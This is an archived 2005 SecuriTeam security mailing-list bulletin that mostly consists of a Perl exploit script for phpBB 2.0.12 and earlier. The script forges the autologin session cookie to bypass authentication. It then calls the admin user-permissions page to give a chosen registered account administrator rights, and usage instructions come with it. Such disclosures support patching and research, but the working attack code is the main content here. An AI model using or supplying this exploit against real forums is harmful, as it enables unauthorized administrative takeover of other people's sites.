

[EXPL] phpBB UID Exploit (Perl Exploit 2)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0098.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/22/05

To: list@securiteam.com

Date: 22 Mar 2005 17:42:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpBB UID Exploit (Perl Exploit 2)

SUMMARY

" <<http://www.phpbb.com/>> phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package."

This exploit modifies the UID field in the cookies sent back to the phpBB forum allowing access to the user_id provided rather than the one you are currently logged on as.

DETAILS

Exploit:

```
#!/usr/bin/perl -w
```

```
# phpBB <=2.0.12 session autologin exploit
```

```
# This script uses the vulnerability in autologinid variable
```

```
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
```

```
#
```

```
# Just gives an user on vulnerable forum administrator rights.
```

```
# You should register the user before using this ;-)
```

```
# by Kutas, kutas@mail15.com
```

```
#P.S. I dont know who had made an original exploit, so I cannot place no
```

Securiteam: [EXPL] phpBB UID Exploit (Perl Exploit 2)

(c) here...

but greets goes to Paisterist who made an exploit for Firefox cookies...

```
if (@ARGV < 3)
{
print q(
+++++
Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]
i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
+++++
);
exit;
}
use strict;
use LWP::UserAgent;

my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path;

use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new ();
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0", "phpbb2mysql_data",
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A".
"%22userid%22%3Bs%3A1%3A%22%22%3B%7D", "/", $host, , , , );
if ( defined $proxy ) {
$proxy =~ s/(http:\/\//)eg;
$browser->proxy("http" , "http://$proxy");
}
print "+++++\n";
print "Trying to connect to $host$path"; if ($proxy) {print "using proxy
$proxy";}

my $response = $browser->get($request);
die "Error: ", $response->status_line
unless $response->is_success;

if($response->content =~ m/phpbbprivmsg/) {
print "\n Forum is vulnerable!!!\n";
} else {
print "Sorry... Not vulnerable"; exit();}

print "+++++\nTrying to get the user:$user
ID...\n";
$response->content =~ /sid=(\w\d*)/;
```

Securiteam: [EXPL] phpBB UID Exploit (Perl Exploit 2)

```
my $sid = $1;

$request .= "admin/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
    $request,
    [
        'username' => $user,
        'mode' => 'edit',
        'mode' => 'user',
        'submituser' => 'Look+up+User'
    ],
);
die "Error: ", $response->status_line
unless $response->is_success;

if ($response->content =~ /name="u" value="([\d]*)"/)
{print " Done... ID=$1\n+++++\n";}
else {print "No user $user found..."; exit(); }
my $uid = $1;
print "Trying to give user:$user admin status...\n";

$response = $browser->post(
    $request,
    [
        'userlevel' => 'admin',
        'mode' => 'user',
        'adv'=>,
        'u'=> $uid,
        'submit'=> 'Submit'
    ],
);
die "Error: ", $response->status_line
unless $response->is_success;
print " Well done!!! $user should now have an admin
status..\n+++++\n";
```

EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:kutas@mail15.com> Kutas .
More exploits for the phpBB UID vulnerability can be found:
<<http://www.securiteam.com/exploits/5KP0C0UF5M.html>>
<http://www.securiteam.com/exploits/5KP0C0UF5M.html> and
<<http://www.securiteam.com/exploits/5CP0D20F5Y.html>>
<http://www.securiteam.com/exploits/5CP0D20F5Y.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

Securiteam: [EXPL] phpBB UID Exploit (Perl Exploit 2)

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.